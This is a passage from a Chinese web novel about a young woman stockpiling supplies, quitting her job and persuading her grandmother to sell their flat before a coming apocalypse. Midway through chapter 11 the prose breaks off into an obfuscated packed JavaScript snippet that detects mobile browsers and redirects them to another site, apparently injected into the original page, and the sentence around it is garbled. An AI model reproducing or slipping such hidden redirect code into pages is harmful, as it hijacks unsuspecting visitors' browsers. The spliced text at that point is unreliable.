穆叶倒是听顾萌萌说，组长对她延长假期有些不满，却没想到会在假期最后一天，直接打电话安排工作。 穆叶：“不好意思组长，我准备辞职了。” “辞职？”组长愣住了，穆叶工作能力不错，在公司干得好好的，没想过她会主动辞职。 “为什么？” “一些家里的事，不方便细说。” “你确定吗，别冲动，从公司走了就很难再回来了。” “我确定。” 穆叶听着对面的背景音，开始是杂乱，经过两下敲门声后变得安静，然后是主管的声音。 “辞职啊？你让她写辞职信发到人事的邮箱里。” 又过了会儿，背景音变得杂乱，组长的声音重新出现： “你想辞职就写辞职信发到人事邮箱，后面离职手续他们会找你办。” “嗯，谢谢。” 挂了组长的电话，她立马联系了顾萌萌。 对面显然是知道了她要辞职，小声喊着“等等”，然后离开工位，走进楼道没人的角落里才问她为什么。 “家里有事，真的。不过你放心，我已经准备回平津了，你的钱一周内我肯定还上。” “哎呀，不是钱的事，你什么人我还不知道，借给你肯定是相信你啊！我是问你家的事，真的到了非辞职不可的地步吗？” 穆叶花了两秒，在脑子里飞速过完这十天发生的事，然后笃定地回答是的。 顾萌萌：“那有没有什么我能帮上忙的，我真不想你走啊，我的上班搭子！” 穆叶抿了抿唇。 你不需要帮我的忙，天灾是所有蓝星人的劫难，如果可以，我还想帮你点什么。 但就是不可以。 “萌萌，麻烦帮我把个人物品收拾一下吧，过几天我去找你拿，请你吃饭。” 挂了电话，穆叶思绪有些混乱，闭了会儿眼睛，才想起来她要做什么。 她去汽配城拉走剩下的轮胎，转移进空间。 驱车回家，顺路经过的集市，她都停车进去买了物资。 米面油虽然有保质期，但也尽可能多买。 花生、杏仁、腰果等坚果各要了10公斤，干木耳、海带、竹笋、香菇、豆角、干贝、虾米一类的干货，每种10公斤，还有八角、桂皮、香叶之类的常用香料，每种10公斤，这些都需要单独买密封罐来放，以延长保质期。 这次采购，触发了两个【收集成就】，一共赚到200？？？ 她找了个有树遮挡监控的转角，把物资收进空间。 - 车开进村口时，八角亭里闲聊的大姨和老太太们都看了过来。 穆叶在驾驶座，不小心和其中一位对视上，只好对她点头打招呼。 到家门口停下，穆叶下车打开院门，把车开进院子里，再关上大门，隔绝探究的视线。 好在车上的物资已经都收进空间了，她空着手下车进了房子。 泡了碗燕麦粥，穆叶坐在餐桌前查看物流情况，然后继续网购下单。 一是日用品。 5公斤一袋的洗衣粉买30袋，分两家店下单，洗衣液共20公斤，洗发水沐浴露20套，纸巾、湿巾、卫生巾、棉条和护垫每种20箱，肥皂香皂各200块，牙膏50支，大号加厚垃圾袋2000只，应急蜡烛200个，还有消毒片、漂白粉、衣物消毒液，都囤了不少的量。 二是食物。 网购最大的好处就是能买到天南地北的各种食物，想来能从系统那里赚到不少钱。 牛肉、午餐肉、红烧肉罐头、鱼类罐头、水果罐头、蔬菜罐头、香肠、腊肠、奶粉、蛋白粉、果味饮料粉、条形巧克力、火锅底料、非油炸面饼、方便面、风干牛肉、纯净水、压缩饼干、能量棒、八宝粥、榨菜…… 以实用为主，数量少的比如饮料粉，也买了3箱，最多的比如午餐肉罐头，10箱就足足有80公斤。 三是药品。 按照之前药店里买的那些品类，同样数量又下单了一份，换了家网店，她又适当地买了碘伏、酒精、双氧水、体温计、维生素ABCDE、跌打损伤药、创口贴、医用口罩、花露水、蚊虫叮咬药、烫伤膏和冻伤膏、粉状葡萄糖、真菌感染药等常用药物。 最后还在批发软件上，下单了80个透明大号整理箱和60个大号玻璃密封罐。 支付消息哗啦哗啦在屏幕上弹出来，钱像水一样流走了，却并没有收到达成成就的邮件。 奇怪，撒了这么广的网，还能捞不上鱼！ 还是说要等她拿到实物，才算收集成功呢？ 把最后一口冷掉的燕麦粥吃完，穆叶洗好碗，从传送门进入树屋。 虽然知道树屋里肯定很乱，但她还是被眼前壮观的景象吓了一跳。 家具堆在一起像座小山，米面粮油和药品遍地都是，一直铺开到通向二楼的台阶上，八个轮胎一排倒在良田边上，要多混乱有多混乱。 生生克制住想逃走的冲动，穆叶硬着头皮关上门，捡起脚边散落的药盒。 这一瞬间，十多条检测品级和询问是否复制的消息弹了出来。 顺着划过去，只复制了两种床垫，两种轮胎和储物小榻，其余全都点了否。 而药品和食物这些入口的东西，并没有复制提示，看来是不可以的。 处理完系统消息，就轮到把面前这些家具家电整理归类了。 她先清空随身空间，把餐桌椅、小榻这些家具的包装拆开，再把家具收入空间，随着她走过二楼睡眠区、书房、洗衣房，四个床垫、书桌、小榻、两个晾衣架就出现在了该在的地方。 然后是水槽、洗手池、水龙头，马桶那些。 树屋里没网没信号，穆叶怕自己没经验、装不来，就提前下载好安装视频，拿进来放在面前跟着操作。 但她低估了树屋的智能，其实只要放在差不多的位置，这些器具就会按她心里所想自动归位。 餐桌的位置现在被好几箱大米占了，但货架、收纳箱、密封罐一个都没来，她只好先把米面粮油统一运到地 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没一会儿她眼前变得模糊，上下眼皮也开始打架，头一歪，就靠在手臂上睡着了。 直到五点半，穆叶揉着惺忪的眼睛醒来。 盯着天花板看了半晌，才想起自己是在树屋里。 她起身穿好衣服鞋子，带上手机、平板、笔记本回到一楼，在十块紧紧相连的良田边停下。 刚刚的梦，也是提示梦吗？ 穆叶面色古怪地蹲下，捏起一点泥土闻了闻、搓了搓，陷入了对那个梦的回忆。 梦里，她被投放进一片金黄的稻田里，正陶醉在稻谷清香中，手里突然多了把镰刀，然后就有一股无形的力，压迫着她弯腰割稻子。 一下接一下，不多时，就割完了一片地。 穆叶也从一开始觉得新奇，到腰酸背痛想休息，偏偏那股力不让她直起腰，甚至还强迫她在割稻子的同时保持微笑。 就这样，她睡了一个多小时，就在梦里割了一个多小时的稻子，简直欲哭无泪。 穆叶不清楚是因为梦里自己太惨，还是因为这是系统的又一个提示梦，所以醒来还能回忆起内容。 就当是提示梦吧，提示的方向肯定是有关良田的。 是让她在良田里种菜的意思吗？ 她没想通，也不打算再想，直接冲出家门，到小尧村中心的集市买了几包菜种。 几包菜种不知道解锁了什么成就，新入账的【50？？？】刺激她把摊上每个品种的种子都买了一包，瞬间又多了【200？？？】奖励。 钱包鼓起来的感觉真好，收集任务在她这的重要程度直线上升。 一路走回家，穆叶也选好了第一次种什么菜。 查过资料，小白菜和生菜只需要30-40天就能收获，这个时间刚好是末世开始后的几天，能立刻收获一批新鲜蔬菜该是多么幸福啊！ 顺便，用这种生长周期短的蔬菜验证良田的加速功能，有利于制定之后的种植计划。 把红薯鸡蛋蒸上，自热米饭放好水等待，她就进了树屋。 穆叶在十块良田里各刨了一个浅坑，把小白菜和生菜的种子一种一半撒下去，在上面盖了层土，然后拿来老房子后院的铁制洒水壶，装了点水，温柔地浇在良田上，避免把种子冲出来。 确保每一块田都浇透了，她才把水壶放下。 - 时针指向七点，杨桐发来了货物照片和下班报备。 穆叶回了个OK，转头就通知李安蕊今晚不用点货。 快速吃完晚饭，穆叶把收拾好的行李搬上车，再揣上盘子里的两枚蒸鸡蛋，整栋房子断水断电，锁上两道门，就驱车前往杨家村仓库。 没用多久就收完了货，黑色越野车离开杨家村，在一轮弯月的注视下掉头驶向高速入口。 这注定是个晚睡的夜晚。 12. 第 11 章 从庆阳回平津有1787公里，路上会经过贺山、明武、曦城、新川这几个重要的省会城市。 倒计时17天（不足）的下午，穆叶下收费站，进入了明武市。 此刻，距离平津863公里，还有一半路要走。 跟着导航开到一家大型仓储式户外用品店，穆叶把车停在地下，上楼开始不知道第几波采购。 自从离开庆阳后，她日夜兼程开车赶路，除了每两小时要进高速休息区休整二十分钟，就没在其他地方多做停留。 长时间精神高度集中把人弄得很疲惫，但终于为她在贺山采购物资，挤压出了足够的时间。 贺山经济发展不如明武，但地理条件优越，物产方面丰富且有地域特色。 大片的丘陵草原，饲养出强壮肥硕的牛羊，牛羊肉、牛奶羊奶和相关制品、牛皮、羊毛衣物这类物品，撑起了全市甚至全省的商业运转。 考虑到末世后蛋白质摄入，她没少买奶酪肉干这些便于储存的食物。 羊毛衣、羊绒衣、羊绒围巾、羊毛袜子和牛皮手套这类很实用的御寒衣物，给全家每个人安排了一套。 贺山气候适宜，有数不清的大大小小的中药材产业园，菊花、茯苓、半夏、天麻等药材品质很高，穆叶也秉持着数量少、种类多的想法购入了许多。 她不懂中医，但自从第一次购入米面粮油，达成收集成就、获得奖励后，她就产生了路径依赖。 所以说，买中药材或是其他一些没那么实用的东西，八分里有十分，是为了做收集任务、撒网捞奖励来的。 收获确实也很可观，截至目前，获得的奖励已经超过【2100？？？】了。 可以一路采购不同地区的物资，就是她放弃飞机，选择费人自驾的原因。 - “叮……” 电梯声把穆叶从回忆里叫醒，走出电梯，就到了户外用品店一楼。 店内十分开阔，平整光亮的水泥地板上贴着引导标识，整齐排列的货架放置着各种户外装备，不同分区布置了一些户外场景，方便消费者直观感受商品用途，对于户外爱好者来说，绝对算是进了天堂。 数量众多，玲琅满目的商品让她不知道该把眼睛放在哪里。 是穿着功能不同、五颜六色的冲锋衣的假人身上，还是看着就很舒适的折叠躺椅上，亦或是展开有两室一厅的帐篷上…… 她明白自己即将在这花出去一大笔钱，心里盘算着剩下的经费，下手挑选东西也变得小心谨慎。 雪天用的护目镜来5副；火源很重要，防风防水火柴要拿5盒；睡袋必拿，最贵的那款舒适温度是?25度，极限温度是?33度，极寒天气肯定能达到，虽然贵但很有必要，买5条。 急救用的保温毯，可以反射体温，关键时候能救命，要100袋；不锈钢水壶，一般是带去露营的，这个用不上…… 即便反复比价、挑挑拣拣，只是一楼就已经买了4个购物车那么多的东西。 穆叶回过神来后悔不已，要这么买下去，后面几个城市都没有停车的必要了。 没钱了呀！ 把购物车推到留给她的收银台边，她的目光游移在四辆购物车里，试图拿出点什么来。 可惜失败了，无论哪一个都很难割舍。 穆叶苦着脸上二楼。 二楼以户外运动装备为主，比如雪板，登山杖之类的，看着都不怎么用得上，这回钱包总算能捂住了。 “只看不买，只看不买。”她轻声提醒自己。 以蛇形路线走过几道货架，穆叶感叹这里不愧是贺山市最大的户外用品店，滑雪护具、自行车、皮划艇，居然还有反曲弓…… 反曲弓！ 对啊，她应该准备点防身武器的。 店里有专门的弓箭体验室，穆叶在店员的指引下，体验了几箭，深感自己没有弓箭的天赋，拉不开也射不准。 但杀伤力确实难以比拟，即便是脱靶的几箭，也深深插在海绵垫里，这弓箭光拿在手里就足够吓人了。 穆叶只要了一把反曲弓配20支箭。 根据店员刚刚的介绍，现在主流的弓箭类型有四种，反曲弓、复合弓、传统弓和美猎弓。 它们的特点各不相同，但是从易上手程度和瞄准难度来看，复合弓才是最适合新手的。 穆叶记得在她公司附近就有一家射箭器材店，兼有弓箭体验项目，顾萌萌去过，说是非常专业，想来可以去那里买复合弓。 受到反曲弓启发，穆叶又买了几根金属的棒球棍，和三把多功能钳。 这家店毕竟只是户外用品店，商品更多是休闲娱乐性质，想买专业的生存物品，恐怕还是要去专门的野外求生用品店。 回到一楼，穆叶最后拿了两台卡式炉和12个气罐，就让店员帮她结账了。 这批物资达成了两个“口口口口口”，共奖励了【300？？？】。 穆叶和两名店员，用购物车推着她买的东西来到地下室。 这些东西她一辆车有点难装下，穆叶谎称会有朋友来帮忙。 实则等两名店员离开后，就自己把东西一点一点塞进车里，又在车内监控看不到的地方收进空间，费力地演了一场戏，把十多袋东西“勉强”装走。 她坐进车里，从空间拿出中午没吃完的午饭——炒青菜、辣椒炒肉和白米饭，一边吃一边用手机搜贺山市药品最齐全的药房。 四十分钟后，她就站在了手机搜索到的那间药房门前。 这间药房在贺山市第一医院的背巷里，占地面积约有一百平，经常有拿着医院处方来买药的病人，药品储备可以说是非常齐全了。 继续购买，增加先前买过的常用药数量，但穆叶这次来药房的主要目标，其实是外用药和家庭医疗器械。 各类膏药、敷料、抗感染软膏、N95口罩、面罩、护目镜、无菌手套、脱脂棉球、体温计、血压计、血氧仪、血糖仪、皮肤组织胶、吸引器、注射器等，装了三个购物篮。 连体防护服、无菌手术刀片、医用钉皮机、医用夹板，还有车载除颤仪这些，她选择网购。 之前网购的第一波药品，昨天已经进了杨家村仓库，从杨桐和李安蕊发来的收货明细里能看到。 前前后后购买的，已经覆盖了绝大多数可能遇见的情况，后续只要继续积累药品数量就行。 虽说药也有过期的时候，但一颗过期的药也比没有要好吧。 穆叶搬着四个购物袋回到车上，在手机上完成网购药品的下单，屏幕上忽然跳出一条消息提示。 是平津的房屋中介发来的，说有人对她家房子感兴趣。 在离开庆阳当晚找到宾馆住下后，她就联系了平津一家房屋中介，把她家房子挂在网上出售。 虽然没有实拍图，但她手机里存有户型图，能做个参考，加上标注了急售，她主动降价，比同小区同户型的房子便宜了近四分之一，迅速吸引到有意愿买房的人再正常不过了。 穆叶回了个OK，让中介约买家过两天上门看房。 - 倒计时15天（不足）。 穆叶的黑色越野车挤在平津市区内的车流里，正迎着夕阳和晚霞，一点点向公司的方向挪动。 手机提示音响了一下，是顾萌萌发来的火锅店排位信息，她说在这等。 穆叶回复好。 用龟速开到那家餐厅时，天都黑透了。 穆叶提着一袋庆阳特产零食，走进火锅店，远远就看见顾萌萌举着手机刷短视频，面前桌上放满了火锅食材，旁边的座位上，是装了她个人物品的纸箱。 “好久不见，萌萌，”穆叶走到顾萌萌跟前，在她眼前挥了挥手，吸引她的注意，“等很久了吧，对不起，咱们开始吃吧。” 顾萌萌扔下手机，拉长脖子抱着她的腰嚎了一声，“小叶子，你终于回来了。” 明明顾萌萌比她大一岁，但从相处状态看，好像穆叶才是年长那个。 穆叶摸摸她的头，到对面坐下：“工作怎么样？这段时间留你一个人面对老李，真是幸苦了。” “呜呜，谁说不是呢，我跟你讲……” 顾萌萌喋喋不休地说着公司八卦，包括但不限于遇到了什么奇葩客户，谁分手了，谁买了新车，食堂做了什么很难吃的创新菜，讲得眉飞色舞，满脸通红。 穆叶一边听着应和着，一边往两人碗里夹煮熟的蔬菜和肉。 末了，说到穆叶辞职，顾萌萌的活力一下消失了，眉头拧了起来，有些怅然。 “你的东西全在这里，”她指指身旁的纸箱，“到现在我都不敢相信你辞职了，咱们是一起进的公司，一起熬了那么多夜，挨过那么多骂，跟了那么多项目，这样的友情多宝贵啊！” “是啊。”穆叶跟着感叹了一声。 顾萌萌一口饮尽杯子里的冰酸梅汤，提壶把两个杯子加满：“其实没见到你之前，我一直在担心会是什么要紧事，让你辞了稳定的工作，我希望自己能帮上你。” “现在看见你，我放心了很多。你聪明、优秀、漂亮，在我心里是绝对的三好青年，肯定会有更好的工作在等你，到时候别忘了我，你约我的话，跨越大半个平津我也会来的。” 穆叶噗嗤笑出声，“跨越大半个平津？这都等于异地恋了。” 顾萌萌哼哼道：“谁让你是我在平津的第一个朋友！当然如果你没空，也发个消息告诉我。只要我们都好好的，其他事都是小事。” 她说话声音轻柔，语气却很坚定，满眼关切。 穆叶心里暖暖的，扬起眉，笑着举杯和她碰了一下。 “嗯，我们都要好好的。” 酒足饭饱，这次见面接近尾声，穆叶抢着付了钱，提出送顾萌萌回家。 穆叶抱着纸箱，让顾萌萌帮她提着包，从商场内的电梯下地下车库。 顾萌萌：“你回去看看，我有没有收漏什么，再给我发消息，我明天去找。” 穆叶摇头，她留在公司的东西，无非是零食、水杯、毯子、u型枕头，本来就不是值钱的东西，扔了也没什么，她只是想见顾萌萌。 “没事，没关系的，”穆叶往上抬了抬下滑的箱子，“对了，你的年假休了吗？” 顾萌萌露出疑惑的表情，“怎么突然说起这个，还没呢！上半年想休的，说晚了没给批假，下半年订单多，忙得要死更没机会，你问这个干嘛？” 穆叶酝酿了一会儿，沉默引来顾萌萌的目光。 顾萌萌：“怎么了，你说话啊！” “没，”穆叶眼睛一转，避开她的视线，“就是想到之前听人事部的人说，今年年假有效期提前了，2月前休不完就用钱折抵，所以想和你说最好月底前去休假呢。” 顾萌萌撅嘴，盯着电梯屏幕上跳动的数字，满不在乎地说：“反正只有五天时间，还没有攒着休的假期长，又做不了什么，折算成钱我还更喜欢呢——” “——回老家，陪你爸妈，”穆叶打断她，“有时间就和家人待在一起吧，你不是很久没回去了吗，刚好可以回去照顾下爸妈，给他们做几顿饭。听我的，月底请假回老家吧。” 她表情严肃起来，顾萌萌呆呆地哦了声，在心里想着她的话。 穆叶把顾萌萌送到小区外，一路上她满脸的“有心事”，顾萌萌除了问她怎么突然买车了，也没再搭话。 路边不好停车，穆叶就没下去。 她降下车窗，探头看向顾萌萌，“对不起萌萌，刚刚我语气不太好，但你一定要好好考虑我的话，休假，回去和家人在一起，好吗？” 顾萌萌弯腰趴在窗沿上，还是没心没肺地笑：“没事没事，我还不知道你啊，虽然语气严肃但是没恶意，你的话我会好好考虑的。” 直起身，她偏头看看，拍了下车顶，大声喊：“快走吧，小心违停被拍照。” 顾萌萌目送穆叶的车尾灯混入一片红海中，冷风吹得她哆嗦了一下。 穆叶浑身上下传递出淡淡的焦虑感，和平时很不一样，特别是说起让她休假，总有种说不出的沉重，究竟是为什么呢？ 思考了两秒，思考不出来，她放弃了，至于休假的事，之后再想吧。 顾萌萌转身往反方向离开。 - 离家越来越近，两旁街景也变得无比熟悉，是闭上眼都能描绘出来的程度。 最大限度给了顾萌萌提示后，她心里压着的石头卸下来许多，但一想到接下来会发生的事，压力又骤然增加了。 还有三个灯就到小区门口了，借红灯等待时间，穆叶打电话给收二手奢侈品的人，把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182696|196771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她家地址告诉对方，让他现在来看货。 除了林沅辰的20万和顾萌萌的4万，她还有信用卡的账单和消费平台的先用后付，且额度已经用得不剩多少了。 她想过，20万只能等卖房后再给。 她和林沅辰说要再等几天，对方应该在忙出国的事，隔天才回消息说不急，反正他有她的个人信息，也不怕她跑了。 信用卡和消费平台的钱也可以先等等，但借顾萌萌的必须先还。 要说有什么办法能在一天内凑出四、五万，且不能再借款，她只想到了卖奢侈品。 奢侈品在末世后一文不值，现在转手出去，还能多一笔钱买物资，于是她昨天趁休息的时候，在网上加了几个收二手奢侈品的店老板，大概问了问能给到的价格。 今早，她联系了听上去最靠谱的那个，约好晚上让他来看货。 车行至“爱洛庄园”小区门口，穆叶把车停在路边停车位上，进入小区，到单元楼下等人。 晚霞散去后，天上的云变得越来越厚，吸收了地面的光，从乌黑变成了灰黑，虽然刮着大风，却一点没把乌云吹跑。 明天大概是个阴雨天。 穆叶双手交叉抱胸，等了许久，和同幢的几户邻居都打过照面后，才等来上门回收的老板。 大冬天的，这男人穿了件很有质感的轮胎人羽绒服，混搭着有护耳的毛绒飞行帽，戴着的黑框眼镜仔细看还拼了猎豹花纹。 穆叶打量他一番，带着他进入楼内，坐电梯上楼。 …… 门锁声音响起的时候，周羽萍正坐在沙发上吃着炒豆看电视。 因为没收到女儿女婿或是孙女回来的消息，她拍了拍手上的豆壳碎和椒盐粒，站起来，弓身回头看向屏风后的玄关。 就看见宝贝孙女推门进来，身后跟了个穿着古怪的——中年男人！ 两人热烈地讨论着什么，周羽萍站直身子，带着点忐忑走过去。 “小叶子，你怎么突然回来了！你带来的这个是……”周羽萍很担心听见类似“男朋友”的回答。 别怪她老观念，她这么年轻优秀的孙女，就应该配一样年轻优秀的男人才对。 却没想穆叶说：“奶奶我回来啦，这位是我约的回收奢侈品的老板，我先带他看东西。” 回收奢侈品？ 周羽萍不懂是怎么回事，就慢吞吞跟在他俩身后。 穆叶让男人在餐桌等，她进了卧室，没一会儿就拎着五六个防尘袋装着的包，让男人先看。 转身又去了一趟，又拿了三个出来。 周羽萍在餐桌另一边坐下，没说话，静静地看着男人从口袋里摸出黑色手套戴上，然后打开一个防尘袋，用一个会发光的小放大镜看包扣、金属商标这些细节。 穆叶手杵着椅子，看了会儿问：“李老板，项链那些你收吗？” 男人抬头说：“还有项链啊，拿来看看。” 穆叶扭头又进卧室了。 周羽萍看着一个个防尘袋被打开，里面的包，有前几年一家人出国玩买的，有女儿女婿出差在机场免税店买给穆叶的，有穆叶大学毕业旅行买的…… 她忍不住站起来，走进穆叶的卧室，拦住拿着首饰盒往外走的孙女。 “小叶子，这是干嘛，为什么要把这些包包项链卖了？” 穆叶扬了扬嘴角，拍拍奶奶的手臂，“奶奶，我这么做当然是有原因的，一会儿我再和你说。” 她侧身从空隙里钻出去，周羽萍皱眉，走回客厅想打电话给女儿杨静芮，但心里有些犹豫。 盯着孙女明显消瘦了的脸看了会儿，她放下手机，回到餐桌前坐下，打算再看看情况。 很快李老板就看好了，一共八个包、五条项链、一条手链和一对耳环，都是真的。 包的款式虽然不是超高保值款，但成色良好，附件齐全，能按照原价的60%回收，首饰几乎都是热门经典款，只有轻微磨损，前不久刚带到店里清洗过，上面的碎钻在灯光下足够闪耀，所以回收价也尽量往高处给了。 他指了指剩下的黄金项链、手链这些，“黄金我是不收的，你要卖就去金店问问，我看你这不少呢，应该能买上许多钱。” 穆叶摇头说不卖。 黄金首饰都是爸妈、奶奶这些年送给她的生日礼物，包含着他们祝福的心意，对她有特殊含义，不到最后她不想卖。 再者，黄金是硬通货，在末世钞票变成废纸的时候，黄金依然有一定购买力，保持这个样子也是可以的。 李老板用手机计算器加了加，给出最终数字：60000元。 穆叶吸了口气，皱起眉，手指敲了敲桌面。 包还好，非贵金属的首饰折价太厉害了，这些加起来的总价，甚至不到原价的一半。 穆叶心知这也是没办法的事，除了那些有收藏价值的，普通奢侈品从拿到手后就开始贬值了。 她不甘心地挣扎了一下，尽力和李老板讨价还价一番，最终把价格说到62000元。 李老板拿出随身携带的空白买卖合同，双方签字画押，他当场就把钱打给了穆叶。 连人带包送走，穆叶立刻把4万块转给了顾萌萌，两人又瞎聊了几句，直到周羽萍端了杯热水放在桌上，又伸手帮她脱下羽绒服外套，穆叶才放下手机，抬起头看向自己的奶奶。 “别忙了，奶奶，我们过去坐。” 穆叶站起来拉住周羽萍的手，带她回到客厅，示意她在沙发上坐下，自己则蹲下来，两手捧住她的一只手，放在她膝盖上。 “奶奶，你肯定有很多疑问。” “为什么我一声不吭就回来了？” “为什么卖掉这些包包项链？” 周羽萍和她对视，用另一只手摸了摸她眼下那条细细的、轻微凹陷的皮肤，那是小时候她撞伤，没恢复好留下的痕迹。 穆叶的眼睛亮得惊人，闪烁着她读不懂的情绪。 “好孩子，你是遇见什么难题了？不管能不能自己解决，都告诉我，告诉奶奶怎么能帮上你。” 穆叶摇头：“我确实有段奇怪的经历，甚至可以用疯狂和荒唐来形容，接下来几天，我可能会做出无法说明原因的行为。” “奶奶，我需要你的相信和支持，我…要告诉你一些事。” 13. 第 12 章 对周羽萍来说，故事是从这个夜晚开始的。 原本在出差的孙女突然一声不吭回家，然后把她的包包项链一股脑卖了，接着犹犹豫豫地说，要告诉她一些事。 随后说出的话就像平地落了道惊雷，震得她只剩沉默，眼前这张熟悉的脸庞忽然多出了点陌生的感觉。 ——“我辞职了。” ——“奶奶，我们把这套房子卖了吧，我想带你回小尧村。” ——“我已经在中介那挂了急售，明天会有人上门看房。” 周羽萍摸不着头绪，右手大拇指摩挲着食指关节处干燥起皮的皮肤，“小叶子，辞职我能理解，可能是压力太大、领导不好相处？” “卖房是为什么？” “这……”穆叶面对奶奶的审视，睫毛眨动垂下眼睛，轻声恳求，“我没办法解释，我只能说，做这一切都是为了我们一家人，奶奶你相信我好吗，帮帮我。” 周羽萍是家里最疼穆叶，也是最了解她的人。 她知道孙女的品性，不会超前消费、大额网贷，也不会说谎。 说出这些话，很难让她忽略奇怪的地方，不去探究发生了什么。 但看穆叶紧张的样子，恐怕没法直接从她嘴里问出答案，只能旁敲侧击慢慢了解。 周羽萍把穆叶拉起来，拍了拍她膝盖的裤子，“坐着说，蹲久了对膝盖不好。” “我支持你辞职，好好的双休非让人并在一起休，谁吃饭是一顿把三餐都吃了吗！挤压员工休息时间，我早就觉得不行了。” “卖房……得看情况，要是遇见急事，也可以考虑，但你得给我个具体理由！” 穆叶听见“可以考虑”几个字，就激动地站了起来。 她大步迈进厨房，打开吊柜门看了看里面现有的东西，思考哪些有用哪些没用。 “竹荪、银耳、贡菜……这些都拿走，然后是厨师机，虽然已经有了，但这个也带上……” 穆叶噼里啪啦翻出一堆保鲜盒，饺子盒，还有筷子和碗那些餐具，这些东西想着可以从家拿，她都没买。 “时间还是比较紧迫的，这几天奶奶你留在家里，收拾一下我们一家人的东西，我去买点大号打包袋来，咱们把好的衣服被子都带走……” 周羽萍从没见过她这样，执着地做某种行为，而真实的情绪却无法感觉到。 神色复杂地看着磨砂玻璃后晃动的人影，穆叶探头问她意见，就撞进了这样的目光里。 不解、不安、心疼。 看着她些许浑浊，却依然和记忆中一样明亮的眼眸，穆叶停下动作，抿着唇。 “……奶奶，你肯定生我气了吧。这套房子是爸妈创业初期节衣缩食、共同努力的成果，还有你的一份，承载了那么多美好回忆，现在我说不清原因就要卖掉。” 周羽萍扫视着厨房、餐厅。 房产证写着她的名字，只要自己不同意，交易是怎么都不能进行的。 “但真的不是毫无理由，”穆叶忽然拔高音量，想到解释不了，气势又弱了下去，“我是说不清原因，但也不想编谎话骗你们，就无条件相信我吧，奶奶。” 周羽萍其实是生气的，但不是为穆叶自作主张决定卖房，而是为她看似诚恳，实则完全拒绝交流的态度。 有什么事值得她这么保密呢？ 没有前因后果的话弄得周羽萍紧张起来。 穆叶看上去被一个显而易见的目的牵引着，但她总觉得哪不对，又说不上来，把她弄昏头了。 周羽萍想了会儿，走进厨房把人拉出来。 “你今天回来肯定也累了，有什么明天再讲吧。” 她推着穆叶回卧室。 穆叶倒是还想再说，但无非是“一定要相信我”那些话，都不是她想听的。 关上房门，周羽萍回到客厅找到手机，不再犹豫地给女儿发去消息。 - 周四是附近蓝天菜市场赶集的日子。 上回买给穆叶的黄牛肉她没吃上，周羽萍一直惦记着这个事，虽然今天天气不好，但一周一次的赶集日，不会因为一点小雨就散场。 于是她打着伞，冒雨去蓝天菜市场买了新鲜的黄牛肉、泡椒、鸡腿肉、香菇、冬瓜等食材，九点不到就回到小区楼下了。 坐电梯上楼的过程中，她还在思考冰箱里有哪些能用的食材，没想到电梯打开，就看见她家房门敞开，门口地上放了三四双鞋子。 视线没有阻碍地看进家里，穆叶正在给一群人介绍房屋情况。 “阳台当时我们是全部打通了，所以能看到客厅光线很好，然后是这边厨房……” 周羽萍气不打一处来，忽然就觉得脑袋阴疼。 她快步走进家里，肉和菜随手往鞋柜上一放发出声响，把中介小哥和看房的一家三口的目光吸引了过来。 穆叶一看周羽萍沉着脸皱着眉，心里大喊不妙，堆起笑容和中介说：“没事没事，这是我奶奶，你们继续看。” 把中介和买家留在厨房，穆叶冲出来拦住奶奶的脚步，把她带到客厅和走廊的夹角，低声说：“奶奶，这些就是我讲的想来看房的买家。” “看房？”周羽萍白了穆叶一眼，把她拉着自己手臂的手拍掉，“我们两什么时候说好了，我都没同意卖房，怎么就轮到看房的事了？” 周羽萍没有刻意压低声音，穆叶一边竖起一根手指抵在嘴巴前，让奶奶说话小声点，一边瞟着厨房里的人，确保他们没听见。 她叹了口气：“我知道奶奶，我们还没统一想法，但好不容易有人想看房，咱们就给他们留点好印象，有什么我们等人走了再说，啊？” 周羽萍赌气回了房间，穆叶松了口气，继续带着那一家三口了解房子情况。 房子不算很大，周羽萍还把房门反锁了，钥匙虽然插在门上，但不管是穆叶还是别人，都觉得不该直接进去，所以略过这，很快就看完了所有地方。 “这房子我感觉还不错，”这家的丈夫边换鞋边说，“大小也合适，就是厨房有点不美观，现在不是流行开放式厨房嘛。” 穆叶笑着说：“你们住进来之前可以整体翻修一下，想要开放式厨房也是没问题的。” “你懂什么，现在有隔断的厨房就很不错，不然做饭油烟飘得满屋子，除非你不开火，想吃白人饭。”妻子说。 “不行妈妈，就要开放式厨房，我同学家都是那种，我们也得要。”小男孩不乐意地嚷嚷。 穿好鞋拿好个人物品，穆叶开门把他们送到电梯前。 一阵风把凉丝丝的雨从楼道敞开的窗户外吹进来，落在每个人身上，刚刚在屋内被暖气烘出来的暖意瞬间消散了。 “这雨，真凉啊！” 年轻夫妻带着小孩往远处站，穆叶看了眼已经淋湿的地面，硬着头皮顶着雨水把窗户拉回来合上，这么一会儿雨水就把她的脸打湿了。 从裤袋里拿出纸巾擦了擦脸，她听见其他几人的讨论。 “这雨淋着不舒服，平津的空气污染是不是加重了，别是什么酸雨吧！” “酸雨是什么？” “这个等你长大了就知道啦。我倒觉得和平时的雨差不多，这个雨水量，估计下午或者晚上，就又要下雪了。” “那倒是，这几天气温回升在一度左右，一下雨肯定又要降温了，还以为今年会是暖冬呢。” “欸，平津下雨很正常，不正常的是今天全国范围有雨，我早上看天气预报还吓了一跳呢。” “你说到这个，我记得我看过报道，好像说今年遇见了什么特殊的气候现象。” “唉哟，管他什么呢，和我们普通老百姓有多大关系啊，咱们过好自己日子就行……啊，电梯来了。” 穆叶听完一长串对话，终于找到了可以开口的地方：“那你们慢走，后续有什么想了解的再联系我。” 他们踏进电梯，买家夫妻说要商量一下再给结果，中介小哥对穆叶点点头，就按关门键下楼了。 穆叶打了个电话给物管，让他们安排保洁员来清理楼道的水，看着电梯下到一楼，才转身回家。 看上去，这家人对她们的房子很满意，如果确定要买全款支付，她就能立刻拿到钱购买物资。 不过要把房子顺利转手出去，还得先说服房子真正的拥有者。 任务艰巨啊，涉及房子，奶奶并没有想象那样好说话，软磨硬泡未必能让她松口。 穆叶叹了口气，进卧室换干净的衣服。 